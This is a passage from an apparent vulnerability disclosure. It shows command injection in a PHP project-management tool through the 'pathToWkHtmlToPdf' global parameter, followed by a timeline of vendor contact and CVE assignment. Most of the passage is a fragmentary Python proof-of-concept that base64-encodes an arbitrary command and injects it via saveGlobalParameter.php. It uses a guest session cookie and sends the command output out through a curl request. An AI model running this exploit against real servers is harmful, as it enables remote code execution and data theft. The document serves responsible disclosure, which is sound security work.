variables passed to exec seems to be not user controlled except for $path=Parameter::getGlobalParameter('pathToWkHtmlToPdf'); We can change the global parameter in /tool/saveGlobalParameter.php :
import base64 from urllib.parse import quote import requests
inp = input("what CMD you want to execute ?: ") b64_inp = base64.b64encode(inp.encode('utf-8')).decode('utf-8')
cmd = f"$(echo {b64_inp}|base64 -d)" filename = f"curl localhost?a=$({cmd}|base64)" filename_enc = quote(filename) print("you need authenticated session so login with guest:guest, after login check the cookie in browser and provide the value of PHPSESSID (Ex: 70hnr5k6rtbo52l94smhg1j6vt)") value = input("PHPSESSID = ") # init url1 = 'http://localhost/tool/saveGlobalParameter.php?idData=paramAttachmentDirectory&value=/var/www/html/files/attach' cookies1 = {'PHPSESSID': f'{value}'}
# save global parameter with the path of the binary WkhtmlTopdf url3 = f'http://localhost/tool/saveGlobalParameter.php?idData=pathToWkHtmlToPdf&value=/var/www/html/files/attach/attachment_{ind}/\"%3b{filename_enc}%3b+echo+\"' cookies3 = {'PHPSESSID': f'{value}'}
10-03-2024: 3rd vendor contact attempt via website forum
12-03-2024: CVE requested
24-03-2024: CVE assigned
04-04-2024: CVE request publication
Conclusion
I discovered the issue during my journey at Mazars Cybersecurity as an application security consultant. The product owner was notified following their security policy via an email and public forum of the website but didn’t respond.